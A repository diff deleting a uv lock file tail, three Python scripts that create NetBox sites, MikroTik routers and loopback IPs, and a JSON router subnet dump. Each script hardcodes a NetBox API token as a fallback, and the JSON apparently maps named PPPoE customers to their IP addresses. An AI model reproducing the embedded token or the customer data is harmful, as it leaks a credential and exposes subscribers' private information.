{ url = "https://files.pythonhosted.org/packages/1d/4a/221da6ca167db45693d8d26c7dc79ccfc978a440251bf6721c9aaf251ac0/respx-0.23.1-py2.py3-none-any.whl", hash = "sha256:b18004b029935384bccfa6d7d9d74b4ec9af73a081cc28600fffc0447f4b8c1a", size = 25557, upload-time = "2026-04-08T14:37:14.613Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rich"
|
||||
version = "15.0.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "markdown-it-py" },
|
||||
{ name = "pygments" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "typing-extensions"
|
||||
version = "4.15.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
|
||||
]
|
||||
|
|
@ -1,309 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import sys
|
||||
import argparse
|
||||
import requests
|
||||
import json
|
||||
from urllib.parse import urljoin
|
||||
|
||||
class NetBoxManager:
|
||||
def __init__(self, url, token):
|
||||
self.base_url = url.rstrip('/')
|
||||
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||
self.headers = {
|
||||
'Authorization': f'Token {token}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(self.headers)
|
||||
|
||||
def get(self, endpoint, params=None):
|
||||
"""Make GET request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def post(self, endpoint, data):
|
||||
"""Make POST request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.post(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error creating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def patch(self, endpoint, data):
|
||||
"""Make PATCH request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.patch(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error updating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def create_site(self, name, slug=None, status='active', comments='', physical_address=''):
|
||||
"""Create a new site"""
|
||||
if not slug:
|
||||
slug = name.lower().replace(' ', '-').replace('_', '-')
|
||||
|
||||
site_data = {
|
||||
'name': name,
|
||||
'slug': slug,
|
||||
'status': status,
|
||||
'comments': comments
|
||||
}
|
||||
|
||||
if physical_address:
|
||||
site_data['physical_address'] = physical_address
|
||||
|
||||
return self.post('dcim/sites/', site_data)
|
||||
|
||||
def create_device(self, name, device_type_id, role_id, site_id, status='active', primary_ip=None):
|
||||
"""Create a new device"""
|
||||
device_data = {
|
||||
'name': name,
|
||||
'device_type': device_type_id,
|
||||
'role': role_id,
|
||||
'site': site_id,
|
||||
'status': status
|
||||
}
|
||||
|
||||
if primary_ip:
|
||||
device_data['primary_ip4'] = primary_ip
|
||||
|
||||
return self.post('dcim/devices/', device_data)
|
||||
|
||||
def create_ip_address(self, address, status='active', description='', role=None):
|
||||
"""Create a new IP address"""
|
||||
ip_data = {
|
||||
'address': address,
|
||||
'status': status,
|
||||
'description': description
|
||||
}
|
||||
|
||||
if role:
|
||||
ip_data['role'] = role
|
||||
|
||||
return self.post('ipam/ip-addresses/', ip_data)
|
||||
|
||||
def get_or_create_manufacturer(self, name):
|
||||
"""Get or create a manufacturer"""
|
||||
response = self.get('dcim/manufacturers/', params={'name': name})
|
||||
if response['count'] > 0:
|
||||
return response['results'][0]['id']
|
||||
|
||||
# Create manufacturer
|
||||
mfg_data = {
|
||||
'name': name,
|
||||
'slug': name.lower()
|
||||
}
|
||||
created = self.post('dcim/manufacturers/', mfg_data)
|
||||
return created['id']
|
||||
|
||||
def get_or_create_device_type(self, model, manufacturer_id):
|
||||
"""Get or create a device type"""
|
||||
response = self.get('dcim/device-types/', params={'model': model})
|
||||
if response['count'] > 0:
|
||||
return response['results'][0]['id']
|
||||
|
||||
# Create device type
|
||||
dt_data = {
|
||||
'manufacturer': manufacturer_id,
|
||||
'model': model,
|
||||
'slug': model.lower().replace(' ', '-').replace('/', '-')
|
||||
}
|
||||
created = self.post('dcim/device-types/', dt_data)
|
||||
return created['id']
|
||||
|
||||
def get_or_create_device_role(self, name, slug=None):
|
||||
"""Get or create a device role"""
|
||||
if not slug:
|
||||
slug = name.lower().replace(' ', '-')
|
||||
|
||||
response = self.get('dcim/device-roles/', params={'name': name})
|
||||
if response['count'] > 0:
|
||||
return response['results'][0]['id']
|
||||
|
||||
# Create device role
|
||||
role_data = {
|
||||
'name': name,
|
||||
'slug': slug,
|
||||
'color': '2196f3' # Blue color
|
||||
}
|
||||
created = self.post('dcim/device-roles/', role_data)
|
||||
return created['id']
|
||||
|
||||
|
||||
def create_site_and_router(site_name, router_ip, router_name=None, manufacturer='MikroTik',
|
||||
device_type='RouterBOARD', device_role='Router',
|
||||
site_comments='', physical_address=''):
|
||||
"""
|
||||
Create a site and router in NetBox
|
||||
|
||||
Args:
|
||||
site_name: Name of the site (e.g., 'Verona', 'Climax')
|
||||
router_ip: Loopback IP of the router (e.g., '10.254.254.101')
|
||||
router_name: Name for the router device (defaults to '{site_name}-router')
|
||||
manufacturer: Device manufacturer (default: MikroTik)
|
||||
device_type: Device model/type (default: RouterBOARD)
|
||||
device_role: Role of the device (default: Router)
|
||||
site_comments: Comments for the site
|
||||
physical_address: Physical address of the site
|
||||
"""
|
||||
# Get API token from environment variable or use the one from CLAUDE.md
|
||||
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
|
||||
# Initialize NetBox client
|
||||
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
|
||||
|
||||
# Default router name if not provided
|
||||
if not router_name:
|
||||
router_name = f"{site_name.lower()}-router"
|
||||
|
||||
# Default site comments if not provided
|
||||
if not site_comments:
|
||||
site_comments = f"{site_name} tower site with {manufacturer} router"
|
||||
|
||||
print(f"=== Creating {site_name} Site and Router in NetBox ===\n")
|
||||
|
||||
# Check if site exists
|
||||
site_response = nb.get('dcim/sites/', params={'name': site_name})
|
||||
|
||||
if site_response['count'] == 0:
|
||||
# Create site
|
||||
print(f"Creating {site_name} site...")
|
||||
try:
|
||||
site = nb.create_site(
|
||||
name=site_name,
|
||||
slug=site_name.lower(),
|
||||
status='active',
|
||||
comments=site_comments,
|
||||
physical_address=physical_address
|
||||
)
|
||||
site_id = site['id']
|
||||
print(f"✓ Created {site_name} site (ID: {site_id})")
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create {site_name} site: {e}")
|
||||
return None, None
|
||||
else:
|
||||
site_id = site_response['results'][0]['id']
|
||||
print(f"✓ {site_name} site already exists (ID: {site_id})")
|
||||
|
||||
# Check if router already exists
|
||||
device_response = nb.get('dcim/devices/', params={'name': router_name, 'site_id': site_id})
|
||||
|
||||
if device_response['count'] == 0:
|
||||
print(f"\nCreating {router_name} device...")
|
||||
|
||||
# Get or create manufacturer
|
||||
print(f" - Setting up manufacturer ({manufacturer})...")
|
||||
manufacturer_id = nb.get_or_create_manufacturer(manufacturer)
|
||||
|
||||
# Get or create device type
|
||||
print(f" - Setting up device type ({device_type})...")
|
||||
device_type_id = nb.get_or_create_device_type(device_type, manufacturer_id)
|
||||
|
||||
# Get or create device role
|
||||
print(f" - Setting up device role ({device_role})...")
|
||||
role_id = nb.get_or_create_device_role(device_role)
|
||||
|
||||
# Create the device
|
||||
try:
|
||||
device = nb.create_device(
|
||||
name=router_name,
|
||||
device_type_id=device_type_id,
|
||||
role_id=role_id,
|
||||
site_id=site_id,
|
||||
status='active'
|
||||
)
|
||||
device_id = device['id']
|
||||
print(f"✓ Created {router_name} device (ID: {device_id})")
|
||||
|
||||
# Add primary IP
|
||||
print(f"\n - Adding primary IP address ({router_ip}/32)...")
|
||||
|
||||
# Check if IP already exists
|
||||
ip_response = nb.get('ipam/ip-addresses/', params={'address': f"{router_ip}/32"})
|
||||
|
||||
if ip_response['count'] == 0:
|
||||
# Create IP address
|
||||
try:
|
||||
ip_data = nb.create_ip_address(
|
||||
address=f"{router_ip}/32",
|
||||
status='active',
|
||||
description=f'{router_name} loopback',
|
||||
role='loopback'
|
||||
)
|
||||
ip_id = ip_data['id']
|
||||
print(f"✓ Created IP address {router_ip}/32")
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create IP address: {e}")
|
||||
ip_id = None
|
||||
else:
|
||||
ip_id = ip_response['results'][0]['id']
|
||||
print(f"✓ IP address {router_ip}/32 already exists")
|
||||
|
||||
# Set as primary IP for the device
|
||||
if ip_id:
|
||||
try:
|
||||
device_update = {
|
||||
'primary_ip4': ip_id
|
||||
}
|
||||
nb.patch(f"dcim/devices/{device_id}/", device_update)
|
||||
print("✓ Set as primary IP for device")
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to set primary IP: {e}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create {router_name}: {e}")
|
||||
return site_id, None
|
||||
else:
|
||||
device_id = device_response['results'][0]['id']
|
||||
print(f"✓ {router_name} already exists (ID: {device_id})")
|
||||
|
||||
print(f"\n=== Summary ===")
|
||||
print(f"Site: {site_name} (ID: {site_id})")
|
||||
print(f"Device: {router_name} (ID: {device_id})")
|
||||
|
||||
return site_id, device_id
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Create a site and router in NetBox')
|
||||
parser.add_argument('site_name', help='Name of the site (e.g., Verona, Climax)')
|
||||
parser.add_argument('router_ip', help='Loopback IP of the router (e.g., 10.254.254.101)')
|
||||
parser.add_argument('--router-name', help='Name for the router (default: {site}-router)')
|
||||
parser.add_argument('--manufacturer', default='MikroTik', help='Device manufacturer')
|
||||
parser.add_argument('--device-type', default='RouterBOARD', help='Device model/type')
|
||||
parser.add_argument('--device-role', default='Router', help='Device role')
|
||||
parser.add_argument('--site-comments', help='Comments for the site')
|
||||
parser.add_argument('--physical-address', help='Physical address of the site')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
site_id, device_id = create_site_and_router(
|
||||
site_name=args.site_name,
|
||||
router_ip=args.router_ip,
|
||||
router_name=args.router_name,
|
||||
manufacturer=args.manufacturer,
|
||||
device_type=args.device_type,
|
||||
device_role=args.device_role,
|
||||
site_comments=args.site_comments,
|
||||
physical_address=args.physical_address
|
||||
)
|
||||
|
||||
if site_id and device_id:
|
||||
print(f"\nSuccess! You can now add network data for this site.")
|
||||
return 0
|
||||
else:
|
||||
print(f"\nPartial success or failure. Check the output above.")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
|
|
@ -1,140 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import sys
|
||||
import argparse
|
||||
import requests
|
||||
from urllib.parse import urljoin
|
||||
|
||||
class NetBoxManager:
|
||||
def __init__(self, url, token):
|
||||
self.base_url = url.rstrip('/')
|
||||
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||
self.headers = {
|
||||
'Authorization': f'Token {token}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(self.headers)
|
||||
|
||||
def get(self, endpoint, params=None):
|
||||
"""Make GET request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def post(self, endpoint, data):
|
||||
"""Make POST request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.post(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error creating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def create_site(self, name, slug=None, status='active', comments='', physical_address=''):
|
||||
"""Create a new site"""
|
||||
if not slug:
|
||||
slug = name.lower().replace(' ', '-').replace('_', '-')
|
||||
|
||||
site_data = {
|
||||
'name': name,
|
||||
'slug': slug,
|
||||
'status': status,
|
||||
'comments': comments
|
||||
}
|
||||
|
||||
if physical_address:
|
||||
site_data['physical_address'] = physical_address
|
||||
|
||||
return self.post('dcim/sites/', site_data)
|
||||
|
||||
|
||||
def create_site(site_name, site_comments='', physical_address='', slug=None):
|
||||
"""
|
||||
Create a site in NetBox
|
||||
|
||||
Args:
|
||||
site_name: Name of the site
|
||||
site_comments: Comments for the site
|
||||
physical_address: Physical address of the site
|
||||
slug: Custom slug for the site (defaults to lowercase hyphenated name)
|
||||
"""
|
||||
# Get API token from environment variable or use the one from CLAUDE.md
|
||||
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
|
||||
# Initialize NetBox client
|
||||
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
|
||||
|
||||
print(f"=== Creating {site_name} Site in NetBox ===\n")
|
||||
|
||||
# Check if site exists
|
||||
site_response = nb.get('dcim/sites/', params={'name': site_name})
|
||||
|
||||
if site_response['count'] == 0:
|
||||
# Create site
|
||||
print(f"Creating {site_name} site...")
|
||||
try:
|
||||
site = nb.create_site(
|
||||
name=site_name,
|
||||
slug=slug,
|
||||
status='active',
|
||||
comments=site_comments,
|
||||
physical_address=physical_address
|
||||
)
|
||||
site_id = site['id']
|
||||
print(f"✓ Created {site_name} site (ID: {site_id})")
|
||||
print(f" Name: {site['name']}")
|
||||
print(f" Slug: {site['slug']}")
|
||||
print(f" Status: {site['status']['label']}")
|
||||
if site_comments:
|
||||
print(f" Comments: {site_comments}")
|
||||
if physical_address:
|
||||
print(f" Address: {physical_address}")
|
||||
return site_id
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create {site_name} site: {e}")
|
||||
return None
|
||||
else:
|
||||
site = site_response['results'][0]
|
||||
site_id = site['id']
|
||||
print(f"✓ {site_name} site already exists (ID: {site_id})")
|
||||
print(f" Name: {site['name']}")
|
||||
print(f" Slug: {site['slug']}")
|
||||
print(f" Status: {site['status']['label']}")
|
||||
if site.get('comments'):
|
||||
print(f" Comments: {site['comments']}")
|
||||
return site_id
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Create a site in NetBox')
|
||||
parser.add_argument('site_name', help='Name of the site')
|
||||
parser.add_argument('--comments', help='Comments for the site')
|
||||
parser.add_argument('--address', help='Physical address of the site')
|
||||
parser.add_argument('--slug', help='Custom slug for the site')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
site_id = create_site(
|
||||
site_name=args.site_name,
|
||||
site_comments=args.comments or '',
|
||||
physical_address=args.address or '',
|
||||
slug=args.slug
|
||||
)
|
||||
|
||||
if site_id:
|
||||
print(f"\nSuccess! Site created with ID: {site_id}")
|
||||
print(f"You can now add devices to this site using:")
|
||||
print(f" python3 create_site_and_router.py \"{args.site_name}\" <router_ip> --router-name <name>")
|
||||
return 0
|
||||
else:
|
||||
print(f"\nFailed to create site.")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
|
|
@ -1,207 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
from urllib.parse import urljoin
|
||||
|
||||
class NetBoxManager:
|
||||
def __init__(self, url, token):
|
||||
self.base_url = url.rstrip('/')
|
||||
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||
self.headers = {
|
||||
'Authorization': f'Token {token}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(self.headers)
|
||||
|
||||
def get(self, endpoint, params=None):
|
||||
"""Make GET request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def post(self, endpoint, data):
|
||||
"""Make POST request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.post(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error creating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def create_site(self, name, slug=None, status='active', comments=''):
|
||||
"""Create a new site"""
|
||||
if not slug:
|
||||
slug = name.lower().replace(' ', '-')
|
||||
|
||||
site_data = {
|
||||
'name': name,
|
||||
'slug': slug,
|
||||
'status': status,
|
||||
'comments': comments
|
||||
}
|
||||
|
||||
return self.post('dcim/sites/', site_data)
|
||||
|
||||
def create_device(self, name, device_type_id, role_id, site_id, status='active'):
|
||||
"""Create a new device"""
|
||||
device_data = {
|
||||
'name': name,
|
||||
'device_type': device_type_id,
|
||||
'role': role_id,
|
||||
'site': site_id,
|
||||
'status': status
|
||||
}
|
||||
|
||||
return self.post('dcim/devices/', device_data)
|
||||
|
||||
def get_or_create_manufacturer(self, name):
|
||||
"""Get or create a manufacturer"""
|
||||
response = self.get('dcim/manufacturers/', params={'name': name})
|
||||
if response['count'] > 0:
|
||||
return response['results'][0]['id']
|
||||
|
||||
# Create manufacturer
|
||||
mfg_data = {
|
||||
'name': name,
|
||||
'slug': name.lower()
|
||||
}
|
||||
created = self.post('dcim/manufacturers/', mfg_data)
|
||||
return created['id']
|
||||
|
||||
def get_or_create_device_type(self, model, manufacturer_id):
|
||||
"""Get or create a device type"""
|
||||
response = self.get('dcim/device-types/', params={'model': model})
|
||||
if response['count'] > 0:
|
||||
return response['results'][0]['id']
|
||||
|
||||
# Create device type
|
||||
dt_data = {
|
||||
'manufacturer': manufacturer_id,
|
||||
'model': model,
|
||||
'slug': model.lower().replace(' ', '-').replace('/', '-')
|
||||
}
|
||||
created = self.post('dcim/device-types/', dt_data)
|
||||
return created['id']
|
||||
|
||||
def get_or_create_device_role(self, name, slug=None):
|
||||
"""Get or create a device role"""
|
||||
if not slug:
|
||||
slug = name.lower().replace(' ', '-')
|
||||
|
||||
response = self.get('dcim/device-roles/', params={'name': name})
|
||||
if response['count'] > 0:
|
||||
return response['results'][0]['id']
|
||||
|
||||
# Create device role
|
||||
role_data = {
|
||||
'name': name,
|
||||
'slug': slug,
|
||||
'color': '2196f3' # Blue color
|
||||
}
|
||||
created = self.post('dcim/device-roles/', role_data)
|
||||
return created['id']
|
||||
|
||||
|
||||
def main():
|
||||
# Get API token from environment variable or use the one from CLAUDE.md
|
||||
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||
|
||||
# Initialize NetBox client
|
||||
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
|
||||
|
||||
print("=== Creating Verona Site and Router in NetBox ===\n")
|
||||
|
||||
# Check if Verona site exists
|
||||
site_response = nb.get('dcim/sites/', params={'name': 'Verona'})
|
||||
|
||||
if site_response['count'] == 0:
|
||||
# Create Verona site
|
||||
print("Creating Verona site...")
|
||||
try:
|
||||
site = nb.create_site(
|
||||
name='Verona',
|
||||
slug='verona',
|
||||
status='active',
|
||||
comments='Verona tower site with MikroTik router'
|
||||
)
|
||||
site_id = site['id']
|
||||
print(f"✓ Created Verona site (ID: {site_id})")
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create Verona site: {e}")
|
||||
return
|
||||
else:
|
||||
site_id = site_response['results'][0]['id']
|
||||
print(f"✓ Verona site already exists (ID: {site_id})")
|
||||
|
||||
# Check if router already exists
|
||||
device_response = nb.get('dcim/devices/', params={'name': 'verona-router', 'site_id': site_id})
|
||||
|
||||
if device_response['count'] == 0:
|
||||
print("\nCreating Verona router device...")
|
||||
|
||||
# Get or create MikroTik manufacturer
|
||||
print(" - Setting up manufacturer...")
|
||||
manufacturer_id = nb.get_or_create_manufacturer('MikroTik')
|
||||
|
||||
# Get or create device type (assuming RouterBOARD or generic)
|
||||
print(" - Setting up device type...")
|
||||
device_type_id = nb.get_or_create_device_type('RouterBOARD', manufacturer_id)
|
||||
|
||||
# Get or create device role
|
||||
print(" - Setting up device role...")
|
||||
role_id = nb.get_or_create_device_role('Router')
|
||||
|
||||
# Create the device
|
||||
try:
|
||||
device = nb.create_device(
|
||||
name='verona-router',
|
||||
device_type_id=device_type_id,
|
||||
role_id=role_id,
|
||||
site_id=site_id,
|
||||
status='active'
|
||||
)
|
||||
device_id = device['id']
|
||||
print(f"✓ Created Verona router device (ID: {device_id})")
|
||||
|
||||
# Add primary IP
|
||||
print("\n - Adding primary IP address...")
|
||||
ip_data = {
|
||||
'address': '10.254.254.101/32',
|
||||
'status': 'active',
|
||||
'description': 'Verona router loopback',
|
||||
'role': 'loopback'
|
||||
}
|
||||
try:
|
||||
ip_response = nb.post('ipam/ip-addresses/', ip_data)
|
||||
ip_id = ip_response['id']
|
||||
|
||||
# Set as primary IP for the device
|
||||
device_update = {
|
||||
'primary_ip4': ip_id
|
||||
}
|
||||
nb.session.patch(f"{nb.api_url}dcim/devices/{device_id}/", json=device_update)
|
||||
print("✓ Added primary IP address")
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to add primary IP: {e}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ Failed to create Verona router: {e}")
|
||||
return
|
||||
else:
|
||||
device_id = device_response['results'][0]['id']
|
||||
print(f"✓ Verona router already exists (ID: {device_id})")
|
||||
|
||||
print(f"\n=== Summary ===")
|
||||
print(f"Site: Verona (ID: {site_id})")
|
||||
print(f"Device: verona-router (ID: {device_id})")
|
||||
print(f"\nYou can now run update_netbox_verona.py to add all the subnet and interface data.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,788 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.104",
|
||||
"identity": null,
|
||||
"timestamp": "2026-03-26T17:14:55.475749",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "10.254.254.104/32",
|
||||
"network": "10.254.254.104",
|
||||
"interface": "loopback",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.254/22",
|
||||
"network": "100.64.24.0",
|
||||
"interface": "ether2-netonix",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.188.158/27",
|
||||
"network": "204.110.188.128",
|
||||
"interface": "public",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.0.104.254/24",
|
||||
"network": "10.0.104.0",
|
||||
"interface": "culleoka-tower",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.111.254/20",
|
||||
"network": "10.10.96.0",
|
||||
"interface": "vlan10_ether2",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.9/29",
|
||||
"network": "10.250.1.8",
|
||||
"interface": "ether1-climax-11ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.49/29",
|
||||
"network": "10.250.1.48",
|
||||
"interface": "ether6-380-11ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.9",
|
||||
"interface": "<pppoe-tonyasipes>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.10",
|
||||
"interface": "<pppoe-natashaelmore>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.11",
|
||||
"interface": "<pppoe-karengreen>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.12",
|
||||
"interface": "<pppoe-chrispassonno>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "204.110.188.134",
|
||||
"interface": "<pppoe-radiantlifeministries>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.13",
|
||||
"interface": "<pppoe-wendysanders>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.14",
|
||||
"interface": "<pppoe-johnnygoble>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.15",
|
||||
"interface": "<pppoe-jamesmooney>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.16",
|
||||
"interface": "<pppoe-saidaacosta>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "204.110.188.131",
|
||||
"interface": "<pppoe-marilynfowler>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.18",
|
||||
"interface": "<pppoe-tammylove>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.20",
|
||||
"interface": "<pppoe-duanewright>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.21",
|
||||
"interface": "<pppoe-shamsbashir>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.22",
|
||||
"interface": "<pppoe-priscillacrenshaw>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.24",
|
||||
"interface": "<pppoe-jacobwilliams>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.25",
|
||||
"interface": "<pppoe-russmott>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.27",
|
||||
"interface": "<pppoe-kailynnbarnfield>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.29",
|
||||
"interface": "<pppoe-brianamartinez>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.30",
|
||||
"interface": "<pppoe-mauricioantonio>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.32",
|
||||
"interface": "<pppoe-ericcoffman>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.34",
|
||||
"interface": "<pppoe-ladonnaclark>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.35",
|
||||
"interface": "<pppoe-delainawaite>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.39",
|
||||
"interface": "<pppoe-deannecook>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
